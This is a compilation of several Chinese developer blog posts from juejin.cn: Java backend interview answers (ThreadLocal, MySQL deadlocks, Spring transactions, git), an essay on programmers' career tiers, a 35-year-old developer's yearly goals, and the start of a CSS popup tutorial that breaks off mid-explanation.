其原理是通过一个中间人,伪造服务器证书,并取得客户端的信任,然后将客户端的请求转发给服务器,将服务器的响应转发给客户端,完成中间人攻击。
常用的抓包工具有 Wireshark、Fiddler、Charles 等。
threadlocal 原理 怎么避免垃圾回收?
ThreadLocal 的实现原理就是,每个线程维护一个 Map,key 为 ThreadLocal 对象,value 为想要实现线程隔离的对象。
1、当需要存线程隔离的对象时,通过 ThreadLocal 的 set 方法将对象存入 Map 中。
2、当需要取线程隔离的对象时,通过 ThreadLocal 的 get 方法从 Map 中取出对象。
3、Map 的大小由 ThreadLocal 对象的多少决定。
通常情况下,随着线程 Thread 的结束,其内部的 ThreadLocalMap 也会被回收,从而避免了内存泄漏。
但如果一个线程一直在运行,并且其 ThreadLocalMap
中的 Entry.value 一直指向某个强引用对象,那么这个对象就不会被回收,从而导致内存泄漏。当 Entry 非常多时,可能就会引发更严重的内存溢出问题。
使用完 ThreadLocal 后,及时调用 remove()
方法释放内存空间。remove()
方法会将当前线程的 ThreadLocalMap 中的所有 key 为 null 的 Entry 全部清除,这样就能避免内存泄漏问题。
mysql慢查询
慢 SQL 也就是执行时间较长的 SQL 语句,MySQL 中 long_query_time 默认值是 10 秒,也就是执行时间超过 10 秒的 SQL 语句会被记录到慢查询日志中。
可通过 show variables like 'long_query_time';
查看当前的 long_query_time 值。
不过,生产环境中,10 秒太久了,超过 1 秒的都可以认为是慢 SQL 了。
mysql事务隔离级别
事务的隔离级别定了一个事务可能受其他事务影响的程度,MySQL 支持的四种隔离级别分别是:读未提交、读已提交、可重复读和串行化。
遇到过mysql死锁或者数据不安全吗
有,一次典型的场景是在技术派项目中,两个事务分别更新两张表,但是更新顺序不一致,导致了死锁。
-- 创建表/插入数据
CREATE TABLE account (
id INT AUTO_INCREMENT PRIMARY KEY,
balance INT NOT NULL
);
INSERT INTO account (balance) VALUES (100), (200);
-- 事务 1
START TRANSACTION;
-- 锁住 id=1 的行
UPDATE account SET balance = balance - 10 WHERE id = 1;
-- 等待锁住 id=2 的行(事务 2 已锁住)
UPDATE account SET balance = balance + 10 WHERE id = 2;
-- 事务 2
START TRANSACTION;
-- 锁住 id=2 的行
UPDATE account SET balance = balance - 10 WHERE id = 2;
-- 等待锁住 id=1 的行(事务 1 已锁住)
UPDATE account SET balance = balance + 10 WHERE id = 1;
两个事务访问相同的资源,但是访问顺序不同,导致了死锁。
解决方法:
第一步,使用 SHOW ENGINE INNODB STATUS\G;
查看死锁信息。
第二步,调整事务的资源访问顺序,保持一致。
怎么解决依赖冲突的
比如在一个项目中,Spring Boot 和其他库对 Jackson 的版本有不同要求,导致序列化和反序列化功能出错。
这时候,可以先使用 mvn dependency:tree分析依赖树,找到冲突;然后在 dependencyManagement 中强制统一 Jackson 版本,或者在传递依赖中使用 exclusion 排除不需要的版本。
spring事务
在 Spring 中,事务管理可以分为两大类:声明式事务管理和编程式事务管理。
编程式事务可以使用 TransactionTemplate 和 PlatformTransactionManager 来实现,需要显式执行事务。允许我们在代码中直接控制事务的边界,通过编程方式明确指定事务的开始、提交和回滚。
声明式事务是建立在 AOP 之上的。其本质是通过 AOP 功能,对方法前后进行拦截,将事务处理的功能编织到拦截的方法中,也就是在目标方法开始之前启动一个事务,在目标方法执行完之后根据执行情况提交或者回滚事务。
相比较编程式事务,优点是不需要在业务逻辑代码中掺杂事务管理的代码,Spring 推荐通过 @Transactional 注解的方式来实现声明式事务管理,也是日常开发中最常用的。
常见的linux命令
我自己常用的 Linux 命令有 top 查看系统资源、ps 查看进程、netstat 查看网络连接、ping 测试网络连通性、find 查找文件、chmod 修改文件权限、kill 终止进程、df 查看磁盘空间、free 查看内存使用、service 启动服务、mkdir 创建目录、rm 删除文件、rmdir 删除目录、cp 复制文件、mv 移动文件、zip 压缩文件、unzip 解压文件等等这些。
git命令
git clone <repository-url>
:克隆远程仓库。git status
:查看工作区和暂存区的状态。git add <file>
:将文件添加到暂存区。git commit -m "message"
:提交暂存区的文件到本地仓库。git log
:查看提交历史。git merge <branch-name>
:合并指定分支到当前分支。git checkout <branch-name>
:切换分支。git pull
:拉取远程仓库的更新。
内容来源
三分恶的面渣逆袭:javabetter.cn/sidebar/san…
二哥的 Java 进阶之路(GitHub 已有 13000+star):github.com/itwanger/to…
最后,把二哥的座右铭送给大家:没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟。共勉 💪。
来源:juejin.cn/post/7451638008409554994
程序员的北京折叠:生存、焦虑与抉择
引子:从《北京折叠》说起
《北京折叠》是郝景芳的一篇著名科幻小说,最早于 2012 年 12 月发表在清华大学的学生论坛水木社区的科幻版。2016 年获得第 74 届雨果奖最佳中短篇小说奖,2018 年获得第 49 届星云赏海外部门短篇小说奖项。雨果奖介绍这篇小说「构建了一个不同空间、不同阶层的北京,可像‘变形金刚般折叠起来的城市’,却又‘具有更为冷峻的现实感’」。
《北京折叠》讲述了北京这个城市被分割成了三个空间,每个空间的人们在各自的时空中生活,彼此之间几乎没有交集。第一空间的人高高在上,掌控着资源与权力;第二空间的中产阶级维持着相对体面的生活;第三空间的人则在贫困、压抑中挣扎求生。三层空间的生活轨迹几乎不会重叠,仿佛他们生活在完全不同的世界中。
作为一名程序员,这个故事让我不禁联想到我们这个行业中的「折叠北京」,在不同的公司、岗位和城市,程序员们同样被划分成了不同的「空间」。每个人的职业轨迹、生活方式和所面临的问题大相径庭,甚至无法体验到他人生活中的酸甜苦辣。
我曾在大厂呆过,在小公司也做过,自己也曾创业。在这些不同的「空间」里,我看到了程序员群体的多样性,感受到了他们各自的焦虑与困境。今天,我想借用《北京折叠》的框架,来聊聊程序员世界中的三种「空间」,它们之间的壁垒、差异,以及偶尔交错的瞬间。
1. 第一空间:大厂程序员的「黄金时代」
在程序员的世界里,第一空间无疑是那些在头部互联网大厂工作的精英们。字节跳动、阿里巴巴、腾讯、网易等巨头公司,几乎可以说是这个行业的象征。对于很多年轻程序员来说,进入大厂意味着职业生涯的「黄金时代」——高薪酬、丰厚的福利、甚至是行业内的一些光环,仿佛一切都昭示着成功与荣耀。
1.1 高压环境中的「内卷」
在大厂工作,最直观的感受就是无处不在的竞争。这种竞争不仅来源于外部市场的技术更新、产品迭代,更深刻地体现在公司内部,尤其是在同事之间。这种现象在互联网行业尤为明显,因此,很多人用「内卷」一词来概括大厂程序员们的工作环境。
1.1.1 绩效排名和末位淘汰制
大厂程序员普遍面临着严格的绩效考核制度。像字节跳动、阿里巴巴等公司,通常实行「361」类的强制考核,即在每次考核中,前20%的员工拿到最好的绩效,而后 20% 左右则面临淘汰的风险。每半年(或者一个季度)一次的绩效考核期,几乎是程序员们最为紧张的时刻,生怕自己成为「差劲」或「末位淘汰」的一员。
这种考核机制确实激励了员工不断提升自我,但也带来了巨大的心理压力和工作负担。为了在绩效评估中脱颖而出,程序员们不得不超负荷工作,甚至牺牲健康和个人生活。许多大厂的加班文化已成常态,尤其是在实行“996”工作制度的公司,程序员们的工作时长远远超出了法律规定的标准。
更为严重的是,由于绩效考核的竞争性,团队内部的合作有时变得愈发功利化。项目的成功不仅关乎团队整体的荣誉,还直接决定了每个人的绩效评定。于是,暗中较劲、互相攀比的现象时有发生,团队协作因此变得更加复杂且微妙。
1.1.2 怎样才算「成功」?
在大厂的程序员群体中,有一种不成文的共识:成功的标志不是你是否能够完成日常的任务,而是你能否写出新技术、推动新项目,甚至在团队中成为某个领域的权威。每个人都在追求「技术大咖」的头衔,渴望在某个技术社区或者公司内部的技术分享会上崭露头角。技术的不断迭代让人们时刻保持学习的心态,但这种持续的自我提升也带来了巨大的压力。
有时我会和一些在大厂的朋友聊起他们的生活,发现他们的焦虑和我在小厂时的焦虑并没有本质区别。尽管他们拿着比普通程序员高得多的工资,但他们的时间成本、精神压力和对未来的迷茫感也不比别人少。他们的生活轨迹看上去光鲜亮丽,但其实也是在一种高强度的环境中挣扎生存。
为了在考核中脱颖而出,程序员们会拼命寻找可以量化的业绩,比如开发新功能、优化系统性能、贡献开源项目等。然而,这种短期导向的行为,往往导致大量的重复劳动。不同的团队、甚至同一团队的成员,可能都在做相似的工作,因为每个人都希望自己的成果被视为「独创贡献」。
这种过度竞争导致了资源的浪费和技术的冗余。比如,不同团队可能会开发多个功能类似的工具或系统,但由于每个团队都希望展示自己的「独立成果」,这些项目往往没有被整合,造成了效率低下。这种「重复造轮子」的现象在大厂程序员中屡见不鲜,不同的部门,甚至不同的中心各有一套技术栈或管理系统的很常见。这不仅浪费了时间和资源,也让公司的整体创新能力受到抑制。
1.2 裁员潮下的生存危机
1.2.1 大厂裁员的频发性
近年来,随着互联网行业的逐渐成熟和增速放缓,国内外的大厂频繁爆出裁员的新闻。无论是由于公司战略调整,还是市场环境的变化,裁员已经成为了大厂的一种常见操作。即使是表现优异的部门,也可能因为公司调整方向而面临裁撤的命运。
大厂裁员并不仅仅针对绩效较差的员工。很多时候,裁员是为了优化成本结构,或者是公司业务重心发生了转移。某些曾经处于风口的业务部门,一旦被认为前景不妙,整个团队可能会在短时间内被解散。例如,一些大厂在短视频、智能硬件等领域的扩张速度过快,导致后期发展遇阻,一旦业务不达预期,相关团队就可能面临大规模裁员。
以字节为例,2023 年底字节跳动官宣大规模裁撤游戏项目和人员,未上线项目几乎全部关停,已上线且表现良好的游戏也要寻求剥离; 2024 年初飞书裁员超过 20%,
这种裁员的不可预测性,给大厂程序员的职业生涯带来了巨大的不确定性。即便你今天的绩效再优秀,也无法保证明天公司不会因为战略调整而决定裁掉你所在的部门。这种生存危机,成为了大厂程序员的长期困扰。
还在某大厂的兄弟说:以前,末位淘汰了还可以增补 HC,但是现在淘汰了就是淘汰了,不会有新的人补充进来,且强制 10% 的比例。这也是一种裁员的逻辑。
1.2.2 「大龄程序员」的困境
裁员的另一大受害者群体是所谓的「大龄程序员」,即那些年龄超过 35 岁、甚至 40 岁以上的技术人员。在很多大厂的文化中,年轻意味着活力和更强的工作负荷承受能力,因此,年龄较大的程序员往往被认为「性价比不高」。
当公司需要削减成本时,首先会考虑那些薪资较高的员工。而大龄程序员由于工龄长、薪资高,往往成为了裁员的首选对象。即便这些程序员有着丰富的技术经验和项目管理能力,但在日新月异的互联网行业,他们的优势往往被削弱。
同时,技术更新日新月异,大龄程序员若无法持续跟上行业的技术潮流,便可能在职业生涯中陷入困境。很多人会在 35 岁之后面临职业发展的瓶颈,不得不思考转型的可能性。
1.3 程序员的「供需失衡」
与十几年前程序员供不应求的情况不同,如今的互联网行业已经趋于饱和。随着越来越多的人涌入这个领域,市场对程序员的需求增速放缓,导致了供需之间的失衡。
在 2024 年 8 月招生季,太原理工 2024 软件工程招 60 个班,近 2000 人,冲上热搜。想象一下,在四年之后的这些学生的就业难度会像「通货膨胀」一样飞速上涨。
这种供需失衡带来了一系列问题。在初级程序员这一级,竞争会更加激烈,很多应届毕业生发现自己面临大量竞争对手,哪怕是基础岗位,也往往需要具备极高的技术能力。
企业在招聘时可以更加挑剔,倾向于选择那些工资要求低、技术基础扎实的年轻程序员,而那些经验丰富但薪资要求较高的资深程序员,反而变得不那么受欢迎。
程序员岗位已经从一个「卖方市场」彻底转变为「买方市场」。
在「卖方市场」时期,企业为了吸引优秀的技术人才,往往会提供丰厚的薪资福利和极具吸引力的职业发展机会。然而,随着越来越多的程序员涌入市场,岗位供给的增速却远远赶不上需求的增长,企业开始占据更多的主动权。
在买方市场中,企业可以更加挑剔地选择应聘者,不仅要求候选人具备扎实的技术基础,还希望他们能够适应更高的工作强度和更低的薪资要求。这种局面尤其对初级程序员和应届毕业生不利。哪怕是一些基础岗位,也往往需要较高的技术门槛和项目经验,导致很多刚毕业的学生发现自己难以找到合适的工作机会。
与此同时,资深程序员的处境也不容乐观。那些拥有多年经验的程序员,虽然在技术上更为成熟,但由于薪资要求较高,企业在招聘时往往更愿意选择年轻、成本较低的程序员。这种现象让很多资深程序员陷入了「高不成低不就」的尴尬境地。他们的技术能力虽然依然强大,但在快速变化的互联网行业中,市场对他们的需求开始减少,尤其是在裁员潮和优化成本的背景下,资深程序员的议价能力逐渐被削弱。在就业市场上常常可以看到一个岗位多个人竞争的情况。
1.4 大厂程序员的「中年危机」
1.4.1 技术更新的焦虑
程序员这个职业最大的特点之一是技术更新的快速迭代。每隔几年,行业的技术栈就会发生翻天覆地的变化。从最早的C、C++到如今的云计算、人工智能和区块链,每一波技术浪潮都要求程序员持续学习新知识,适应新的工具和框架。
对于年轻程序员来说,学习新技术可能充满了乐趣和挑战性。但对于年纪较大的程序员来说,技术更新的压力往往带来了巨大的焦虑感。随着年龄增长,学习新技术的难度和精力投入都在增加,而大厂的工作环境又要求程序员始终保持对新兴技术的敏感度。这种持续的技术更新压力,让很多大龄程序员感到力不从心。
1.4.2 顶层的天花板
对于很多大厂程序员来说,最可怕的不是眼前的压力,而是那种隐隐约约的「天花板」感。你很难在大厂中看到五十岁、甚至四十岁以上的程序员,他们的去向仿佛成了一个谜题。
大家心照不宣地知道,到了某个年龄段,技术可能已经不再是你的核心竞争力,管理岗位有限,竞争者众多,如何突破这层「天花板」成了很多大厂程序员内心深处的焦虑。
面对年龄、技术更新和职业发展的瓶颈,很多大厂程序员在 30 岁之后开始考虑职业转型。然而,转型并不是一件容易的事情。大多数程序员的职业技能都围绕技术展开,一旦离开了技术岗位,很多人发现自己在其他领域缺乏竞争力。
常见的转型路径包括转向管理岗位、创业或进入教育培训行业。然而,管理岗位有限,创业风险极大,而教育培训行业本身也在经历着调整。这使得很多程序员在转型的过程中感到困惑和无助。职业发展的瓶颈使得大龄程序员的未来看起来充满了不确定性。
1.5 黄金时代的背后是无尽的焦虑
大厂程序员的生活看似光鲜,但背后却充满了无尽的压力与焦虑。高薪的代价是长期的加班和激烈的内卷;丰厚的待遇伴随着频繁的裁员和职业发展的瓶颈。尤其是大龄程序员,他们不仅面临着技术更新的焦虑,还要应对职业转型的困惑。
在这个日新月异的行业里,大厂程序员的「黄金时代」或许并不像外界看到的那样光鲜。当「中年危机」到来,如何平衡工作与生活、如何应对技术的快速变化,成为了每一个程序员都需要思考的问题。
如 will 老板所说:始终要思考的是如何在大厂活下去!,更进一步:其实更焦虑的是如何靠自己活下去
2. 第二空间:小厂程序员的迷茫与抉择
2.1 资源、团队与技术的困境
在小公司工作的程序员面临的第一个现实问题是资源的匮乏。与大厂程序员相比,小厂程序员的开发环境和资源往往十分有限。预算紧张使得小公司无法购买先进的开发工具,也没有大厂那样完善的基础设施和支持团队。很多时候,程序员需要用「土办法」去解决问题,甚至自己搭建和维护服务器、数据库等基础设施。
虽然现在云服务的使用已经很普遍了,但是能用好云服务的公司不多,甚至在常见的 CI/CD 流程都没有实施。
团队情况也是一个重要因素。小公司里,团队人员往往较少,职责分工不如大公司细致,很多程序员需要身兼数职,既要写代码,还要负责运维、测试,甚至参与产品设计和业务讨论。这种「多面手」的工作方式虽然能让个人能力得到快速锻炼,但也意味着专注度较低,无法在某一个领域深入钻研,导致技术积累不够扎实。
技术的硬门槛是另一大挑战。小公司通常专注于短期业务目标,项目进度往往比技术本身更加重要。这导致程序员在开发过程中可能会放弃对代码质量、性能优化等技术细节的追求,而更多地采用快速上线的策略。这种方式虽然能让产品迅速推向市场,但也限制了程序员的技术视野和思维,长期下去,很容易陷入技术瓶颈。
2.2 平台、资源与局限
2.2.1 资源的限制
与大厂相比,小厂程序员的工作环境显得更加局促和紧张。他们没有大公司那样强大的技术团队或前沿的技术工具支持,很多时候只能依赖现有资源,甚至是开源工具来解决问题。
公司往往没有足够的预算去支持技术创新,项目的重点更多地放在如何快速满足客户需求上,而不是技术实现的完美度。因此,小厂程序员的工作更多的是一种「打补丁」的过程,解决眼前的问题,而不是从根本上提升系统的架构或性能。
由于缺少大厂的技术资源和系统流程,小厂程序员在面对复杂问题时只能依赖个人经验和有限的知识储备。这种资源的匮乏,让他们在遇到需要深入技术实现或复杂系统优化的问题时力不从心,也限制了他们的职业发展。
2.2.2 多面手的隐患
小公司经常要求程序员成为「全栈开发者」,不仅要负责前端、后端的开发,还要参与运维、测试,甚至是产品设计。这种「多面手」的角色虽然能在短时间内提升程序员的综合能力,但长期来看,专精度的不足是显而易见的。程序员往往在多个领域都有所涉及,却缺乏一个深耕的方向,导致在某些关键技术上与大厂程序员相比存在明显的差距。
这种现象尤其体现在一些高精尖的领域,比如分布式架构、性能优化、大规模数据处理等。小公司项目的局限性使得程序员鲜有机会接触这些高端技术,即便遇到相关问题,也往往是通过快速修补的方式解决,而不是深入理解和优化。多面手的广度虽然让小厂程序员具备了应对不同问题的能力,但缺乏深度的劣势在面对更高的技术挑战时显露无遗。
2.2.3 重复与瓶颈
小公司项目的重复性也是一个常见的问题。许多小公司专注于某些特定的业务场景,程序员在开发过程中,往往是在重复类似的增删改查操作。长时间在这种环境中工作,程序员容易陷入一种技术思维的局限,觉得自己的工作仅仅是完成客户需求,而忽视了技术本身的提升。这种局限让他们在面对更复杂的项目或系统时,缺乏应对的思路和方法。
在这种环境下,程序员可能会感到希望突破但找不到方向。他们渴望接触更复杂、更有挑战性的技术,但小公司的项目和资源限制了他们的视野,无法提供足够的成长空间。很多程序员在小公司工作多年后,逐渐意识到,自己的技术积累始终停留在某个水平,无法突破。
2.3 对未来的迷茫与期待
2.3.1 稳定性的假象
小厂程序员的处境,常常在稳定与成长之间徘徊。对于很多在小公司干了多年的人来说,工作内容虽然相对稳定,压力小,甚至在某些场合下还能当上小领导,但这种「舒适区」并不一定带来长久的安全感。
尽管有些程序员在小公司工作多年,积累了一定的业务经验,甚至在团队中占据了重要的角色,但这并不意味着未来的职业道路是一片坦途。小公司的抗风险能力差,经济波动或行业萎缩时,很多小公司会迅速陷入困境,甚至倒闭。对于很多 30 岁上下的程序员来说,一旦失去这份相对稳定的工作,他们可能会发现自己在技术上并没有明显优势,面临再就业的难题。
这种不稳定性让很多小厂程序员产生了焦虑感。他们担心公司倒闭后,自己所积累的业务经验和技术能力无法顺利转化到其他公司。尤其是在面对大厂的面试要求时,很多小厂程序员会发现自己的项目经验和技术广度远远不足以应付大厂的高标准。进退两难的局面让他们陷入迷茫,不知道未来的职业发展该何去何从。
2.3.2 突破的渴望与现实的差距
尽管如此,很多小厂程序员依然保持着突破现状的愿望。他们希望自己的公司能够做大做强,从而拥有更多的资源和技术成长的机会。然而,现实往往并不如人意。小公司能做到一定规模的并不多,很多公司最终还是会因为市场竞争激烈、资金不足等原因被淘汰。
因此,跳槽到中型公司或大厂历练,成为了不少小厂程序员的另一种理想选择。他们希望通过进入更大平台,接触到更多的技术挑战和行业资源,打破**在小公司中「打转」**的局面。但这种跳槽并不容易,尤其是对于长期习惯了小公司开发模式的程序员来说,想要进入大厂不仅需要提升技术硬实力,还需要适应大厂的工作节奏和文化。
2.4 跳槽到大厂:进阶还是冒险?
对于那些在小公司工作了多年,并且已经进入到领导层的程序员来说,最大的问题往往是:现在跳槽到大厂,值得吗?
2.4.1 跳槽的机遇
跳槽到大厂意味着能够接触到更复杂的技术栈和更具挑战性的项目。在大厂中,程序员不仅可以学习到前沿的技术(如微服务架构、Kubernetes、分布式系统等),还能够获得更为完善的职业晋升通道。大厂的技术氛围和资源整合能力,也意味着程序员能够更快地成长,跳出小公司单一业务的限制。
此外,大厂的品牌效应也不容忽视。即使是普通开发,拥有大厂背景的程序员在未来的求职市场上,无论是跳槽还是创业,都具有更高的含金量。
2.4.2 跳槽的风险
然而,跳槽到大厂并非没有风险。大厂的竞争激烈,程序员需要面对年轻一代的强大竞争压力。大厂的工作节奏快、加班文化重,许多 30 岁左右的程序员可能会发现,自己在体力和精力上难以与年轻人抗衡。
进入大厂后,之前在小公司积累的业务经验和管理经验未必能够直接转化为优势。大厂的岗位分工更加明确,很多程序员在跳槽后可能需要从普通开发做起,甚至重新适应新的工作流程和技术要求。
跳槽到大厂对于 30 岁上下的程序员来说,是一个双刃剑。如果能够抓住机会快速提升技术能力,则职业生涯将迎来新的突破;但如果无法适应大厂的节奏,则可能面临事业的再次迷茫。
2.5 技术能力和学习能力是立足之本
小厂程序员的迷茫和焦虑,归根结底源于技术成长的瓶颈和职业发展的不确定性。面对快速变化的行业环境,程序员们需要不断提升自我,不仅要在技术上有所突破,还应当具备长远的职业规划。
无论是在小公司继续发展,还是跳槽到大厂,程序员都应当意识到,技术能力和学习能力是立足于这个行业的根本。唯有不断学习和进步,才能在程序员的职业道路上走得更远、更稳。
3. 第三空间:外包与自由职业者的「生存游戏」
3.1 外包的世界
在大厂和小厂之外,还有一群程序员,他们生活在外包公司中。外包程序员的生活与大厂和小厂截然不同,他们的工作内容往往由客户决定,技术栈也不是自己可以随意选择的。一些外包程序员可能会长期为某个大厂或者知名企业提供服务,但他们并不属于这些公司,他们的身份始终是「外包」。
外包程序员的收入通常与大厂程序员有较大差距,工作内容也更加琐碎。与大厂和小厂的开发者相比,外包程序员的职业发展路径更为模糊。很多人觉得外包是一个「临时的选择」,但一旦进入外包行业,往往很难轻易跳出来。
3.2 自由职业者的自由与孤独
与外包程序员类似,自由职业者也是程序员群体中的一个独特存在。他们没有固定的公司和老板,依靠接项目为生。自由职业者的生活看似自由,但实际上他们承担了巨大的生活压力:项目的来源、项目的质量、客户的付款周期,这些都直接决定了他们的收入。
我有一位朋友曾辞职做过一段时间的自由职业者,他的经历让我对这一群体有了更深的了解。他曾告诉我,自由职业的最大挑战不是技术,而是如何维持客户关系、如何接到稳定的项目。自由职业者的生活往往充满了不确定性,每天都是一次新的「生存游戏」。
4. 结语:折叠的程序员世界
程序员的世界如同《北京折叠》中的三个空间:大厂、小厂,外包与自由职业者,各自有着截然不同的生活方式与职业挑战。大厂程序员在高薪与内卷中挣扎,小厂程序员在资源匮乏和职业迷茫中徘徊,外包和自由职业者则在充满不确定性的项目中谋生。每个空间都有其独特的焦虑与困境,而这些困境往往是外界无法轻易察觉的。
然而,这些看似完全隔绝的空间并非毫无交集。在某些时刻,程序员们的职业轨迹会短暂交错:大厂的程序员可能因职业倦怠转而投身小厂,或选择成为自由职业者;小公司的程序员也可能抓住机会进入大厂,体验另一种生活。外包和自由职业者也常常通过项目合作,与大厂程序员产生联系。
折叠的背后,是程序员们面对的共同挑战:快速变化的技术浪潮、工作与生活的平衡、未来职业发展的不确定性。
无论身处哪个空间,程序员不仅要面对代码和产品,还要面对生活的选择与妥协。技术的迭代让人时刻保持危机感,职场的竞争让人不断追逐更高的目标,但归根结底,程序员们都在寻找如何掌控自己的命运,在压力与选择中找到一条适合自己的道路。
或许,正是这种多元的职业轨迹和复杂的生存环境,构成了程序员世界中的「折叠北京」。每个空间的故事,都在提醒我们:技术人的真正挑战,不仅在于掌握技术,更在于如何在折叠的世界中找到属于自己的平衡与方向。
来源:juejin.cn/post/7445253248649674764
35岁程序员-减肥、考证、开发小程序,我的2024年度大挑战!
我的情况
坐标郑州,在一家不大的软件开发公司做Go后端开发。小公司的特点就是分工不那么明确,也就是什么都得会点,包括前端页面,服务器运维,需要的时候都得能顶上。所以吧,我现在勉强属于全栈,竞争力不算突出。
随着年龄慢慢靠近35岁的敏感点,我也越来越焦虑,总想着做点什么,让自己有点不同于他人的竞争力。趁着自己的业余时间,做过AR,弹幕直播游戏等。每次都是做着做着就会进入一种怀疑,沮丧的心态中。觉得做的东西并不独特,就算最后做出来应该也没人用,最后都成了半成品,不了了之。
今年也终于是到了我的35岁,还是一直写代码,虽说工作稳定,但小公司也没什么晋升的空间。如果一直这样下去,面对二十多岁的新生代牛马,自己哪还有还手之力。所以想着如果以后有机会的话能转向项目管理方向,给自己多准备条路,先考个证书,也算提前系统学习一下。
我身高175,年初的时候体重160斤出头,双下巴,大肚腩,标准的油腻中年男。幸好的是头发还茂盛,否则真就不好意思出门了。老婆一直催促我减肥,自己也觉得这形象实在是看不下去,于是下定决心逼自己一把。
所以,为了能做出一些改变,年初的时候我给自己定下了几个目标(当然谁都没有告诉,怕最后被打脸🤣),希望给自己一点动力。
设定目标
- 减肥到135斤以下
- 考一个软考高级证书
- 上线一个小程序
完成情况
- 减肥 ✅
3个月的时间减了30斤。
三月不减肥,四月徒伤悲。从3月份开始,我给自己制定了严格的饮食计划。每天早上一个鸡蛋一盒牛奶,中午米饭定量100克,晚上黄瓜,再加上抖音上很火的跳操。终于不到3个月就达成了目标。
现在体重稳定保持在132斤左右,没有反弹,以前穿不上的衣服现在也可以穿了。其实前几年每年我都减过,但最后都没有成功,每天吃不饱的滋味太难受了。这次能成功,我总结的经验就是减肥就是要靠饿,其他什么方法都不好使。😂

- 软考高级证书✅✅
拿下两个软考高级证书。
从春节过后开始准备高项的考试,每天强迫自己看一到两个小时的视频。刚开始看着700多页的教材,一脸懵逼,只觉得像看天书,每句话之间毫无逻辑,当时我的感觉一定是这样的。。。

后来随着学习的深入,发现书里的内容还是自成体系的,拗口的名词也都觉得有了道理。快该考试的时候听说了高项考试从一年两次,改成了一年一次。本来想着如果考不过还能有一次机会,这下考试的压力更大了。只能埋头苦学,每天背知识点,不停的刷题。还好最后一次通过。
高项考完之后,休息了一个月,突然又来了想法。做技术的应该都向往成为架构师,而且自己做了这么多年的后端开发,自认对系统架构有了一些见解,何不考验一下自己的水平? 刚好软考中有一个系统架构设计师的科目,于是决定再考一个高级证书。中间的学习过程不表,最后也是顺利通过。

可能有很多小伙伴觉得证书都是虚的,真正看实力还得Show Me The Code。对于后一句我是举双手赞成,不过证书的好处也是有的。比如有的城市可以帮助落户,对公司资质也有帮助,最少也能证明自己学习能力还在,不会被新技术淘汰掉。
总之今年超额完成了任务,目标已达到,以后应该不会再考了。
- 上线小程序⛔
还没有完成。
从有了想法开始, 断断续续搞了几个月,目前进展落后,完成了一半。一开始,我是想做一个微信小程序,使用微信小程序的原生语法开发,后来觉得效率太低,而且很多语法不通用,不如用一个跨平台的框架。
最后决定了用uniApp来开发,后端也由自己开发部署改为使用云函数,中间技术选型就耽误了不少功夫,开发的规划和管理还是有很大的提升空间的。而且现在就是感觉作为一个后端程序员,做页面还是有些勉强。页面的功能能用是一回事,还要做的好看,那可就难了。
虽然进度落后了,但这一次不会再半途而废了,不管最后做成什么样都要完成。争取2个月之内结束。
明年的目标
马上就要到新的一年,依然还有很多事情等着我去做。而且焦虑的感觉一点也没有减少,对自己的将来还是有些迷茫。不过机会都是留给有准备的人,为了在将来机会到来的时候能准备好,还是要学习和努力啊。就先给自己定两个目标吧。
- 学英语,目标是追剧可以不看字幕,也给孩子学习做个榜样
- 健身,八块腹肌等我
最后想在这里问一下,掘友们,你们今年的目标都完成了吗?
来源:juejin.cn/post/7454092357333925900
手把手教你实现一个中间开屏
前言
这次给大家带来一个开屏的效果,由纯CSS
实现,实现起来并不复杂,效果也并不简单,话不多说,咱们直入主题。
效果预览
效果如下所示。
HTML部分
首先看到HTML
部分,相关代码如下。
<nav class="main">
<a href="#terrestrial" class="open-popup">terrestrial animals</a>
<a href="#aquatic" class="open-popup">aquatic animals</a>
</nav>
<section id="terrestrial" class="popup">
<a href="#" class="back">< back</a>
<p>🦓🦒🐅🐆🐘🦏🐃🦌🐐🐫</p>
</section>
<section id="aquatic" class="popup">
<a href="#" class="back">< back</a>
<p>🐋🐳🐬🐟🐠🐡🐙🦑🦐🦀</p>
</section>
这里包含了一个导航条和两个弹出窗口。<nav class="main">
是主导航条的部分。包含了两个链接,分别链接到页面中的不同部分。<a href="#terrestrial" class="open-popup">terrestrial animals</a>
和 <a href="#aquatic" class="open-popup">aquatic animals</a>
这两个链接标签(<a>
)作为导航链接,包含了类名open-popup
,当这些链接被点击时会弹出相关的窗口。<section id="terrestrial" class="popup">
和 <section id="aquatic" class="popup">
这两个部分分别代表了两个弹出的窗口内容。每一个窗口内容块中包含了一个返回的链接(< back
)和相应类别的动物表情。
综上所述,这里构建了一个包含导航条和两个弹出窗口的结构,点击不同的链接可以弹出对应的内容窗口,用于显示相关的动物表情。
CSS部分
接着看到CSS
部分。相关代码如下。
.main {
height: inherit;
background: linear-gradient(dodgerblue, darkblue);
display: flex;
align-items: center;
justify-content: center;
}
.open-popup {
box-sizing: border-box;
color: white;
font-size: 16px;
font-family: sans-serif;
width: 10em;
height: 4em;
border: 1px solid;
text-align: center;
line-height: 4em;
text-decoration: none;
text-transform: capitalize;
margin: 1em;
}
.open-popup:hover {
border-width: 2px;
}
这里描述了主区域和打开弹窗的链接按钮的样式。设置了渐变背景色、按钮的颜色、字体大小、字体样式、宽度、高度、边框等样式属性,使用 Flex 布局,使得包裹在内部的子元素能够进行灵活的排列。
在.open-popup
中,box-sizing: border-box;
使得元素的边框和内边距包含在宽度之内。text-align: center;
使得按钮中的文本内容水平居中对齐。line-height: 4em;
设定了行高。text-decoration: none;
去除了链接的下划线。text-transform: capitalize;
使得英文字母单词的首字母大写。.open-popup:hover
定义了鼠标悬停在按钮上的样式,这里设置了边框的宽度在悬停时增加至 2px。
总的来说,这些 CSS 定义了主区块的背景样式以及弹出窗口链接按钮的样式,使得按钮在悬停时具有变化的边框宽度,且主区域能够使内部的元素水平和垂直居中。
/* popup page layout */
.popup {
position: absolute;
top: 0;
width: 100%;
height: inherit;
flex-direction: column;
justify-content: flex-start;
display: none;
}
.popup:target {
display: flex;
}
.popup .back {
font-size: 20px;
font-family: sans-serif;
text-align: center;
height: 2em;
line-height: 2em;
background-color: #ddd;
color: black;
text-decoration: none;
}
.popup .back:visited {
color: black;
}
.popup .back:hover {
background-color: #eee;
}
.popup p {
font-size: 100px;
text-align: center;
margin: 0.1em 0.05em;
}
这里描述了弹窗部分的布局与样式。在.popup
中,position: absolute;
将弹窗设置为绝对定位,相对于最近的已定位父元素进行定位。top: 0;
将弹窗置于父元素的顶部。flex-direction: column; justify-content: flex-start;
使用 Flex 布局,使得弹窗内的元素以垂直方向排列并且从顶部开始排列。display: none;
表示在初始状态下将弹窗设为不可见。
.popup:target
